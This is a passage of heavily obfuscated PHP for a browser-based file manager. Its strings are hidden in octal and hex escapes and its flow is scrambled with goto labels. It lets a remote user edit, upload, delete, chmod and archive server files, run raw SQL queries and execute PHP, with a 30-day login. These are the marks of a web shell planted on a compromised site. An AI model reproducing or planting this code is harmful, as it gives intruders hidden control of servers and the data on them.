"\46\145\144\x69\x74\x3d" . $_REQUEST["\x65\x64\x69\164"] . "\46\x70\141\164\x68\75" . $path; $backlink = $url_inc . "\46\160\141\164\x68\x3d" . $path; ?> <table border="0"cellpadding="1"cellspacing="0"width="100%"><tr><th><?php echo __("\106\151\x6c\x65\x20\155\141\x6e\x61\x67\145\x72") . "\40\x2d\x20" . __("\x45\x64\151\164") . "\40\55\40" . $path . $_REQUEST["\145\x64\x69\x74"]; ?> </th></tr><tr><td class="row1"><?php echo $msg; ?> </td></tr><tr><td class="row1"><?php echo fm_home(); ?> <a href="<?php echo $backlink; ?> "><?php echo __("\102\x61\143\x6b"); ?> </a></td></tr><tr><td class="row1"align="center"><form action="<?php echo $editlink; ?> "method="post"name="form1"><textarea cols="45"name="newcontent"rows="15"style="width:99%"id="newcontent"spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?> </textarea> <input name="save"value="<?php echo __("\123\x75\x62\155\151\164"); ?> "type="submit"> <input name="cancel"value="<?php echo __("\x43\141\156\143\145\x6c"); ?> "type="submit"></form></td></tr></table><?php echo $auth["\163\x63\x72\x69\x70\164"]; } elseif (!empty($_REQUEST["\x72\x69\147\150\164\x73"])) { if (!empty($_REQUEST["\x73\141\x76\x65"])) { if (fm_chmod($path . $_REQUEST["\162\151\147\150\x74\163"], fm_convert_rights($_REQUEST["\162\x69\x67\150\x74\x73\x5f\x76\141\x6c"]), @$_REQUEST["\x72\145\x63\165\x72\163\x69\166\145\154\171"])) { $msg .= __("\x46\x69\154\x65\x20\x75\x70\x64\x61\164\x65\144"); } else { $msg .= __("\x45\162\x72\x6f\x72\40\157\143\x63\x75\x72\x72\x65\144"); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST["\x72\151\147\150\164\x73"], true); $link = $url_inc . "\46\162\151\147\150\x74\x73\x3d" . $_REQUEST["\x72\151\x67\150\x74\x73"] . "\x26\160\x61\x74\150\x3d" . $path; $backlink = $url_inc . "\x26\160\141\164\150\75" . $path; ?> <table class="whole"><tr><th><?php echo __("\106\x69\x6c\x65\40\155\x61\x6e\x61\147\x65\162") . "\40\x2d\40" . $path; ?> </th></tr><tr><td class="row1"><?php echo $msg; ?> </td></tr><tr><td class="row1"><a href="<?php echo $backlink; ?> "><?php echo __("\x42\x61\x63\153"); ?> </a></td></tr><tr><td class="row1"align="center"><form action="<?php echo $link; ?> "method="post"name="form1"><?php echo __("\x52\x69\x67\150\x74\163") . "\x20\x2d\40" . $_REQUEST["\x72\x69\147\x68\164\x73"]; ?> <input name="rights_val"value="<?php echo $oldrights; ?> "><?php if (is_dir($path . $_REQUEST["\x72\151\x67\150\164\163"])) { ?> <input name="recursively"value="1"type="checkbox"><?php echo __("\122\145\143\165\162\163\x69\166\145\154\171"); ?> <br><?php } ?> <input name="save"value="<?php echo __("\123\x75\x62\155\x69\164"); ?> "type="submit"></form></td></tr></table><?php } elseif (!empty($_REQUEST["\x72\145\x6e\x61\155\x65"]) && $_REQUEST["\162\x65\x6e\x61\x6d\x65"] != "\56") { if (!empty($_REQUEST["\163\x61\166\x65"])) { rename($path . $_REQUEST["\x72\x65\156\x61\155\145"], $path . $_REQUEST["\x6e\145\x77\156\141\x6d\x65"]); $msg .= __("\106\151\154\x65\x20\x75\160\x64\141\x74\x65\144"); $_REQUEST["\x72\x65\x6e\x61\x6d\145"] = $_REQUEST["\x6e\x65\x77\x6e\x61\155\145"]; } clearstatcache(); $link = $url_inc . "\46\x72\145\156\x61\155\x65\75" . $_REQUEST["\162\145\156\x61\x6d\145"] . "\x26\160\x61\164\150\x3d" . $path; $backlink = $url_inc . "\x26\160\x61\164\x68\x3d" . $path; ?> <table class="whole"><tr><th><?php echo __("\x46\x69\154\145\x20\x6d\141\x6e\141\x67\145\162") . "\40\55\x20" . $path; ?> </th></tr><tr><td class="row1"><?php echo $msg; ?> </td></tr><tr><td class="row1"><a href="<?php echo $backlink; ?> "><?php echo __("\x42\141\143\153"); ?> </a></td></tr><tr><td class="row1"align="center"><form action="<?php echo $link; ?> "method="post"name="form1"><?php echo __("\122\x65\156\141\155\145"); ?> : <input name="newname"value="<?php echo $_REQUEST["\162\x65\x6e\141\x6d\145"]; ?> "><br><input name="save"value="<?php echo __("\123\165\x62\x6d\x69\x74"); ?> "type="submit"></form></td></tr></table><?php } else { $msg = ''; if (!empty($_FILES["\x75\x70\x6c\x6f\x61\144"]) && !empty($fm_config["\x75\x70\x6c\x6f\x61\144\137\146\151\154\145"])) { if (!empty($_FILES["\165\x70\154\x6f\x61\144"]["\156\x61\155\x65"])) { $_FILES["\165\x70\x6c\x6f\141\144"]["\x6e\141\x6d\x65"] = str_replace("\45", '', $_FILES["\x75\x70\154\157\141\x64"]["\x6e\141\x6d\145"]); if (!move_uploaded_file($_FILES["\x75\x70\x6c\x6f\x61\144"]["\164\155\160\137\156\141\x6d\145"], $path . $_FILES["\x75\x70\x6c\157\141\x64"]["\156\141\x6d\145"])) { $msg .= __("\x45\x72\162\x6f\x72\x20\157\143\x63\x75\162\162\145\144"); } else { $msg .= __("\106\151\x6c\x65\x73\40\165\x70\154\157\x61\x64\x65\x64") . "\72\x20" . $_FILES["\165\x70\x6c\x6f\141\144"]["\x6e\x61\x6d\x65"]; } } } elseif (!empty($_REQUEST["\144\145\x6c\145\164\145"]) && $_REQUEST["\x64\x65\x6c\x65\164\x65"] != "\x2e") { if (!fm_del_files($path . $_REQUEST["\x64\145\154\145\x74\x65"], true)) { $msg .= __("\x45\x72\162\157\162\40\x6f\x63\143\165\162\162\145\x64"); } else { $msg .= __("\104\145\154\x65\x74\145\144") . "\40" . $_REQUEST["\144\145\154\x65\x74\145"]; } } elseif (!empty($_REQUEST["\x6d\153\144\151\x72"]) && !empty($fm_config["\x6d\141\x6b\x65\x5f\x64\x69\162\145\143\x74\157\162\x79"])) { if (!@mkdir($path . $_REQUEST["\x64\x69\x72\x6e\x61\155\x65"], 511)) { $msg .= __("\105\x72\162\157\162\40\157\x63\143\x75\x72\162\x65\144"); } else { $msg .= __("\103\x72\145\x61\x74\x65\144") . "\40" . $_REQUEST["\x64\151\x72\156\141\155\x65"]; } } elseif (!empty($_POST["\163\145\x61\162\x63\x68\x5f\x72\x65\x63\x75\162\x73\151\166\x65"])) { ini_set("\x6d\141\x78\137\145\x78\x65\x63\x75\164\151\x6f\156\x5f\164\x69\155\145", "\60"); $search_data = find_text_in_files($_POST["\x70\141\164\x68"], $_POST["\x6d\141\x73\153"], $_POST["\x73\145\141\162\x63\x68\137\x72\x65\x63\x75\x72\163\151\166\145"]); if (!empty($search_data)) { $msg .= __("\x46\x6f\165\x6e\144\x20\151\156\40\x66\151\154\145\163") . "\x20\x28" . count($search_data) . "\x29\72\74\x62\x72\x3e"; foreach ($search_data as $filename) { $msg .= "\74\141\x20\150\x72\145\x66\75\x22" . fm_url(true) . "\x3f\x66\155\75\x74\x72\x75\145\46\145\x64\151\x74\75" . basename($filename) . "\46\x70\x61\x74\x68\x3d" . str_replace("\x2f" . basename($filename), "\57", $filename) . "\x22\40\x74\x69\164\154\145\75\42" . __("\105\144\x69\164") . "\x22\x3e" . basename($filename) . "\x3c\57\141\x3e\46\156\142\163\x70\73\40\x26\x6e\142\x73\160\73"; } } else { $msg .= __("\116\157\164\x68\151\x6e\x67\x20\x66\157\x75\156\x64\x65\144"); } } elseif (!empty($_REQUEST["\155\153\146\151\x6c\145"]) && !empty($fm_config["\x6e\x65\167\x5f\x66\151\154\145"])) { if (!($fp = @fopen($path . $_REQUEST["\x66\151\x6c\x65\156\x61\x6d\145"], "\x77"))) { $msg .= __("\x45\162\162\x6f\x72\40\157\x63\143\x75\162\x72\x65\144"); } else { fclose($fp); $msg .= __("\103\162\x65\141\x74\145\x64") . "\x20" . $_REQUEST["\x66\x69\x6c\x65\x6e\141\155\x65"]; } } elseif (isset($_GET["\x7a\x69\160"])) { $source = base64_decode($_GET["\172\x69\x70"]); $destination = basename($source) . "\x2e\172\151\x70"; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __("\124\141\163\x6b") . "\40\42" . __("\x41\162\143\x68\x69\x76\x69\x6e\x67") . "\x20" . $destination . "\42\x20" . __("\x64\x6f\x6e\145") . "\x2e\x26\x6e\x62\163\160\x3b" . fm_link("\144\x6f\x77\156\x6c\x6f\x61\x64", $path . $destination, __("\104\157\x77\156\x6c\x6f\141\144"), __("\104\x6f\x77\x6e\154\157\141\144") . "\40" . $destination) . "\x26\156\142\163\160\73\74\x61\40\x68\162\145\x66\75\x22" . $url_inc . "\x26\144\x65\154\145\164\145\x3d" . $destination . "\x26\x70\141\x74\150\x3d" . $path . "\x22\40\164\x69\164\x6c\x65\x3d\x22" . __("\104\145\x6c\x65\164\x65") . "\40" . $destination . "\42\x20\x3e" . __("\x44\145\154\x65\164\145") . "\74\57\141\76"; } else { $msg .= __("\x45\162\162\x6f\162\x20\x6f\x63\143\165\162\162\x65\144") . "\x3a\x20" . __("\156\x6f\x20\146\151\154\145\x73"); } } elseif (isset($_GET["\x67\172"])) { $source = base64_decode($_GET["\x67\x7a"]); $archive = $source . "\x2e\x74\x61\162"; $destination = basename($source) . "\x2e\164\x61\162"; if (is_file($archive)) { unlink($archive); } if (is_file($archive . "\x2e\x67\172")) { unlink($archive . "\x2e\x67\x7a"); } clearstatcache(); set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, "\x2e\164\x61\162\56\x67\172"); unset($phar); if (is_file($archive)) { if (is_file($archive . "\x2e\147\172")) { unlink($archive); $destination .= "\56\x67\172"; } $msg .= __("\x54\141\x73\x6b") . "\40\42" . __("\101\x72\x63\150\x69\x76\151\x6e\147") . "\40" . $destination . "\42\x20" . __("\x64\x6f\x6e\145") . "\56\46\156\142\163\x70\x3b" . fm_link("\x64\157\167\156\x6c\x6f\x61\x64", $path . $destination, __("\104\x6f\167\156\x6c\x6f\141\144"), __("\104\x6f\x77\x6e\154\x6f\x61\x64") . "\x20" . $destination) . "\x26\x6e\142\x73\160\73\x3c\x61\x20\150\x72\145\x66\75\x22" . $url_inc . "\46\144\145\x6c\x65\x74\x65\75" . $destination . "\46\160\x61\x74\150\x3d" . $path . "\42\x20\x74\x69\x74\x6c\x65\75\x22" . __("\x44\x65\x6c\x65\164\145") . "\x20" . $destination . "\x22\x20\x3e" . __("\104\x65\x6c\145\x74\x65") . "\74\57\141\x3e"; } else { $msg .= __("\105\162\162\157\162\40\157\x63\143\165\162\x72\145\x64") . "\x3a\40" . __("\x6e\x6f\x20\x66\151\x6c\145\163"); } } elseif (isset($_GET["\x64\x65\x63\157\x6d\x70\162\x65\163\x73"])) { } elseif (isset($_GET["\147\x7a\146\151\x6c\x65"])) { $source = base64_decode($_GET["\147\x7a\x66\151\154\x65"]); $archive = $source . "\x2e\164\x61\162"; $destination = basename($source) . "\56\x74\141\162"; if (is_file($archive)) { unlink($archive); } if (is_file($archive . "\x2e\x67\x7a")) { unlink($archive . "\x2e\147\x7a"); } set_time_limit(0); $ext_arr = explode("\x2e", basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode("\x2e", $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . "\x2e\164\x61\162\56\147\172"); unset($phar); if (is_file($archive)) { if (is_file($archive . "\56\147\x7a")) { unlink($archive); $destination .= "\56\147\172"; } $msg .= __("\124\141\163\x6b") . "\40\42" . __("\101\x72\x63\x68\x69\x76\x69\x6e\147") . "\x20" . $destination . "\x22\40" . __("\x64\157\x6e\x65") . "\x2e\x26\156\x62\163\x70\x3b" . fm_link("\144\x6f\x77\x6e\154\157\141\x64", $path . $destination, __("\104\x6f\x77\x6e\154\x6f\141\144"), __("\104\157\167\156\154\157\x61\144") . "\x20" . $destination) . "\x26\156\142\x73\160\73\x3c\x61\x20\x68\x72\145\x66\75\x22" . $url_inc . "\x26\x64\x65\x6c\145\x74\x65\75" . $destination . "\x26\x70\141\164\x68\x3d" . $path . "\x22\40\x74\151\x74\154\145\x3d\42" . __("\104\145\x6c\x65\x74\x65") . "\x20" . $destination . "\42\40\76" . __("\104\145\154\145\164\x65") . "\x3c\57\141\76"; } else { $msg .= __("\105\162\x72\x6f\162\x20\x6f\143\143\x75\x72\x72\x65\144") . "\72\40" . __("\x6e\x6f\40\x66\x69\154\x65\x73"); } } ?> <table class="whole"id="header_table"><tr><th colspan="2"><?php echo __("\106\x69\x6c\145\x20\155\141\x6e\141\x67\x65\x72"); echo !empty($path) ? "\x20\55\x20" . $path : ''; ?> </th></tr><?php if (!empty($msg)) { ?> <tr><td class="row2"colspan="2"><?php echo $msg; ?> </td></tr><?php } ?> <tr><td class="row2"><table><tr><td><?php echo fm_home(); ?> </td><td><?php if (!empty($fm_config["\155\x61\153\145\x5f\x64\x69\x72\145\143\x74\x6f\x72\x79"])) { ?> <form action="<?php echo $url_inc; ?> "method="post"><input name="path"value="<?php echo $path; ?> "type="hidden"> <input name="dirname"size="15"> <input name="mkdir"value="<?php echo __("\x4d\x61\153\x65\x20\144\x69\162\x65\143\x74\157\x72\171"); ?> "type="submit"></form><?php } ?> </td><td><?php if (!empty($fm_config["\x6e\145\x77\x5f\x66\x69\154\x65"])) { ?> <form action="<?php echo $url_inc; ?> "method="post"><input name="path"value="<?php echo $path; ?> "type="hidden"> <input name="filename"size="15"> <input name="mkfile"value="<?php echo __("\116\145\167\40\146\151\x6c\x65"); ?> "type="submit"></form><?php } ?> </td><td><form action="<?php echo $url_inc; ?> "method="post"style="display:inline"><input name="path"value="<?php echo $path; ?> "type="hidden"> <input name="search_recursive"value="<?php echo !empty($_POST["\163\x65\141\x72\x63\150\x5f\x72\x65\x63\x75\162\x73\151\x76\x65"]) ? $_POST["\x73\x65\141\162\143\150\x5f\x72\x65\143\x75\162\163\x69\166\x65"] : ''; ?> "placeholder="<?php echo __("\x52\x65\x63\x75\x72\x73\151\x76\x65\x20\163\145\141\x72\143\x68"); ?> "size="15"> <input name="mask"value="<?php echo !empty($_POST["\x6d\x61\x73\x6b"]) ? $_POST["\155\141\163\x6b"] : "\x2a\x2e\x2a"; ?> "placeholder="<?php echo __("\x4d\141\x73\153"); ?> "size="5"> <input name="search"value="<?php echo __("\x53\x65\141\x72\x63\150"); ?> "type="submit"></form></td><td><?php echo fm_run_input("\x70\x68\x70"); ?> </td><td><?php echo fm_run_input("\163\x71\154"); ?> </td></tr></table></td><td class="row3"><table><tr><td><?php if (!empty($fm_config["\165\160\154\157\x61\x64\x5f\146\x69\154\x65"])) { ?> <form action="<?php echo $url_inc; ?> "method="post"name="form1"enctype="multipart/form-data"><input name="path"value="<?php echo $path; ?> "type="hidden"> <input name="upload"type="file"id="upload_hidden"onchange='document.getElementById("upload_visible").value=this.value'style="position:absolute;display:block;overflow:hidden;width:0;height:0;border:0;padding:0"> <input id="upload_visible"style="cursor:pointer"onclick='document.getElementById("upload_hidden").click()'placeholder="<?php echo __("\x53\x65\154\145\143\164\x20\164\150\x65\x20\x66\x69\x6c\x65"); ?> "readonly> <input name="test"value="<?php echo __("\x55\160\x6c\157\x61\x64"); ?> "type="submit"></form><?php } ?> </td><td><?php if ($auth["\x61\x75\x74\x68\x6f\x72\x69\x7a\x65"]) { ?> <form action=""method="post"><input name="quit"value="1"type="hidden"><?php echo __("\110\145\154\x6c\157"); ?> ,<?php echo $auth["\154\157\x67\x69\x6e"]; ?> <input value="<?php echo __("\121\x75\151\x74"); ?> "type="submit"></form><?php } ?> </td><td><?php echo fm_lang_form($language); ?> </td><tr></table></td></tr></table><table class="all"id="fm_table"border="0"cellpadding="1"cellspacing="1"width="100%"><thead><tr><th style="white-space:nowrap"><?php echo __("\x46\151\154\145\156\x61\155\x65"); ?> </th><th style="white-space:nowrap"><?php echo __("\123\x69\x7a\x65"); ?> </th><th style="white-space:nowrap"><?php echo __("\104\141\164\145"); ?> </th><th style="white-space:nowrap"><?php echo __("\122\151\147\x68\x74\163"); ?> </th><th style="white-space:nowrap"colspan="4"><?php echo __("\115\x61\156\141\x67\145"); ?> </th></tr></thead><tbody><?php $elements = fm_scan_dir($path, '', "\141\154\154", true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config["\x73\150\x6f\x77\137\144\x69\162\137\x73\151\x7a\145"]) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = "\x3c\141\x20\x68\162\x65\146\75\x22" . $url_inc . "\x26\x70\141\x74\x68\75" . $path . $file . "\x22\x20\164\x69\x74\x6c\x65\x3d\42" . __("\123\x68\157\x77") . "\40" . $file . "\42\x3e\x3c\x73\160\x61\156\40\143\x6c\x61\x73\163\x3d\x22\x66\157\x6c\x64\145\162\42\76\46\156\142\163\160\73\46\x6e\142\163\160\x3b\46\x6e\142\163\160\73\46\x6e\142\163\160\73\x3c\57\x73\x70\x61\156\76\40" . $file . "\x3c\x2f\x61\76"; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link("\x7a\x69\x70", $filename, __("\x43\x6f\155\160\x72\145\163\163") . "\x26\156\142\x73\160\x3b\x7a\151\160", __("\101\162\143\150\151\166\151\x6e\147") . "\x20" . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link("\x67\172", $filename, __("\x43\x6f\155\160\x72\x65\x73\x73") . "\x26\156\142\x73\x70\x3b\x2e\164\141\162\56\147\x7a", __("\101\162\x63\150\x69\x76\151\156\x67") . "\x20" . $file); $style = "\x72\x6f\167\x32"; if (!fm_root($file)) { $alert = "\157\156\x43\154\x69\143\x6b\x3d\x22\x69\146\50\143\157\x6e\146\151\162\x6d\50\x27" . __("\x41\x72\145\40\171\157\165\x20\x73\x75\x72\x65\x20\x79\x6f\165\40\x77\x61\156\x74\x20\x74\157\40\144\x65\x6c\x65\x74\145\40\x74\150\x69\x73\40\144\151\x72\145\x63\164\157\x72\171\x20\x28\x72\145\143\165\162\163\x69\166\x65\x6c\x79\x29\77") . "\x5c\x6e\40\x2f" . $file . "\47\x29\51\40\x64\x6f\143\165\x6d\x65\x6e\x74\56\154\x6f\x63\x61\x74\x69\157\x6e\56\150\x72\145\x66\40\75\40\x27" . $url_inc . "\46\x64\145\x6c\145\x74\145\x3d" . $file . "\46\x70\141\164\x68\x3d" . $path . "\x27\x22"; } else { $alert = ''; } } else { $link = $fm_config["\x73\150\x6f\x77\137\x69\x6d\147"] && @getimagesize($filename) ? "\74\141\40\x74\141\x72\x67\145\164\75\42\137\x62\154\141\x6e\x6b\x22\40\157\156\x63\154\x69\143\153\x3d\x22\x76\x61\162\x20\154\x65\146\164\x6f\40\x3d\x20\163\143\x72\145\145\156\x2e\x61\166\x61\151\154\x57\151\x64\x74\150\x2f\x32\x2d\x33\x32\60\73\x77\151\156\x64\157\167\x2e\157\x70\x65\x6e\50\x27" . fm_img_link($filename) . "\47\x2c\47\x70\157\x70\165\x70\47\x2c\47\x77\151\x64\164\x68\x3d\x36\64\60\54\150\x65\151\147\150\164\75\64\70\x30\x2c\154\145\146\164\75\47\40\53\40\x6c\x65\146\164\157\x20\x2b\x20\47\54\x73\143\x72\x6f\154\154\x62\141\x72\163\75\171\145\163\x2c\x74\157\157\x6c\x62\x61\x72\x3d\156\157\54\154\x6f\x63\141\164\x69\157\x6e\x3d\156\157\x2c\144\x69\x72\145\x63\x74\x6f\162\x69\x65\x73\75\156\x6f\54\163\164\x61\164\165\163\x3d\156\157\x27\51\73\162\x65\x74\x75\162\156\x20\x66\141\154\163\145\x3b\x22\x20\150\162\x65\x66\75\x22" . fm_img_link($filename) . "\42\76\x3c\163\x70\141\x6e\x20\143\x6c\x61\x73\x73\x3d\42\x69\x6d\x67\42\76\46\156\142\163\160\73\46\156\142\x73\x70\x3b\x26\x6e\142\163\160\73\46\x6e\x62\163\160\73\x3c\57\x73\x70\141\156\76\40" . $file . "\x3c\x2f\x61\x3e" : "\x3c\141\40\x68\162\145\x66\75\42" . $url_inc . "\46\145\x64\151\x74\75" . $file . "\46\x70\x61\x74\x68\x3d" . $path . "\42\x20\x74\151\x74\154\145\x3d\x22" . __("\x45\144\151\x74") . "\42\x3e\74\x73\x70\141\x6e\x20\x63\x6c\141\163\163\75\42\146\x69\154\145\x22\x3e\x26\156\142\x73\160\x3b\46\156\x62\163\x70\x3b\46\x6e\142\x73\x70\73\x26\156\x62\163\x70\x3b\74\x2f\163\x70\x61\x6e\x3e\40" . $file . "\74\57\141\76"; $e_arr = explode("\x2e", $file); $ext = end($e_arr); $loadlink = fm_link("\144\x6f\x77\156\x6c\157\141\144", $filename, __("\104\157\167\x6e\154\157\x61\x64"), __("\x44\x6f\167\156\154\x6f\x61\144") . "\x20" . $file); $arlink = in_array($ext, array("\172\x69\160", "\x67\172", "\164\x61\162")) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link("\x67\172\146\x69\154\x65", $filename, __("\x43\x6f\x6d\x70\162\145\x73\163") . "\x26\x6e\x62\x73\x70\73\x2e\164\x61\162\x2e\147\x7a", __("\x41\x72\x63\x68\x69\166\151\156\147") . "\40" . $file)); $style = "\162\x6f\167\61"; $alert = "\x6f\156\103\x6c\151\x63\153\x3d\42\x69\146\x28\x63\157\156\x66\x69\162\155\50\x27" . __("\x46\x69\154\145\40\163\x65\154\x65\x63\164\x65\144") . "\72\x20\134\156" . $file . "\x2e\x20\134\156" . __("\x41\162\145\40\x79\157\x75\40\163\x75\162\145\x20\x79\x6f\x75\40\167\141\156\x74\x20\x74\x6f\40\144\145\x6c\x65\x74\x65\40\164\x68\x69\163\40\146\x69\154\145\x3f") . "\47\x29\x29\x20\x64\157\x63\x75\x6d\145\156\164\x2e\154\x6f\x63\x61\x74\151\x6f\156\x2e\150\x72\145\146\40\x3d\40\x27" . $url_inc . "\46\x64\x65\x6c\x65\164\145\75" . $file . "\x26\x70\141\164\150\75" . $path . "\47\42"; } $deletelink = fm_root($file) ? '' : "\74\x61\40\x68\162\x65\x66\x3d\42\43\x22\x20\x74\x69\x74\154\x65\x3d\42" . __("\x44\145\x6c\x65\164\145") . "\x20" . $file . "\42\x20" . $alert . "\x3e" . __("\x44\145\154\145\x74\x65") . "\74\x2f\x61\76"; $renamelink = fm_root($file) ? '' : "\74\141\40\150\162\x65\x66\x3d\42" . $url_inc . "\46\162\x65\156\x61\x6d\x65\x3d" . $file . "\46\160\x61\x74\x68\75" . $path . "\x22\40\164\x69\164\x6c\145\75\42" . __("\x52\145\156\141\155\145") . "\x20" . $file . "\x22\x3e" . __("\122\x65\156\141\155\x65") . "\74\x2f\x61\x3e"; $rightstext = $file == "\x2e" || $file == "\56\x2e" ? '' : "\74\x61\x20\x68\162\145\146\75\42" . $url_inc . "\x26\162\151\x67\150\x74\163\75" . $file . "\46\x70\x61\164\150\x3d" . $path . "\42\x20\x74\151\164\154\x65\x3d\x22" . __("\x52\x69\x67\x68\x74\x73") . "\x20" . $file . "\42\x3e" . @fm_rights_string($filename) . "\74\x2f\x61\76"; ?> <tr class="<?php echo $style; ?> "><td><?php echo $link; ?> </td><td><?php echo $filedata[7]; ?> </td><td style="white-space:nowrap"><?php echo gmdate("\131\55\x6d\x2d\144\x20\110\72\x69\x3a\163", $filedata[9]); ?> </td><td><?php echo $rightstext; ?> </td><td><?php echo $deletelink; ?> </td><td><?php echo $renamelink; ?> </td><td><?php echo $loadlink; ?> </td><td><?php echo $arlink; ?> </td></tr><?php } } goto EtRU_; vFF0k: function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset("\165\x74\146\x38"); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return "\74\x70\162\145\x3e" . stripslashes($vdump) . "\x3c\57\x70\x72\145\76"; } } goto PTjd0; SX2zn: $auth["\x64\141\x79\x73\x5f\141\165\x74\150\x6f\162\151\x7a\x61\x74\151\157\156"] = isset($auth["\144\141\x79\163\137\x61\x75\164\150\157\162\x69\172\141\x74\151\157\x6e"]) && is_numeric($auth["\144\x61\171\163\137\141\x75\164\150\157\162\x69\x7a\x61\x74\x69\157\x6e"]) ? (int) $auth["\144\141\x79\x73\137\141\165\164\x68\x6f\162\151\x7a\141\x74\x69\x6f\156"] : 30; goto lWou6; wgOR_: function fm_root($dirname) { return $dirname == "\x2e" or $dirname == "\56\56"; } goto aa8NS; FFzOb: $starttime = explode("\x20", microtime()); goto YlOU4; iY5iz: if (!empty($fm_config["\x73\x68\x6f\x77\137\147\164"])) { echo "\x20\174\x20" . __("\107\x65\x6e\x65\162\141\x74\151\157\156\x20\x74\x69\155\145") . "\x3a\40" . round($totaltime, 2); } goto iZSni; Hfh2n: function fm_site_url() { return fm_protocol() . $_SERVER["\110\x54\x54\x50\137\110\x4f\x53\x54"]; } goto SehUZ; r64z7: $main_path = str_replace("\134", "\x2f", realpath("\x2e\57")); goto Ya9y7; aLHkW: ?> </title><style>body{background-color:#fff;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:8pt;margin:0}a:active,a:link,a:visited{color:#069;text-decoration:none}a:hover{color:#dd6900;text-decoration:underline}a.th:link{color:#ffa34f;text-decoration:none}a.th:active{color:#ffa34f;text-decoration:none}a.th:visited{color:#ffa34f;text-decoration:none}a.th:hover{color:#ffa34f;text-decoration:underline}table.bg{background-color:#acbbc6}td,th{font:normal 8pt Verdana,Arial,Helvetica,sans-serif;padding:3px}th{height:25px;background-color:#069;color:#ffa34f;font-weight:700;font-size:11px}.row1{background-color:#efefef}.row2{background-color:#dee3e7}.row3{background-color:#d1d7dc;padding:5px}tr.row1:hover{background-color:#f3fcfc}tr.row2:hover{background-color:#f0f6f6}.whole{width:100%}.all tbody td:first-child{width:100%}textarea{font:9pt 'Courier New',courier;line-height:125%;padding:5px}.textarea_input{height:1em}.textarea_input:focus{height:auto}input[type=submit]{background:#fcfcfc none!important;cursor:pointer}.folder{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ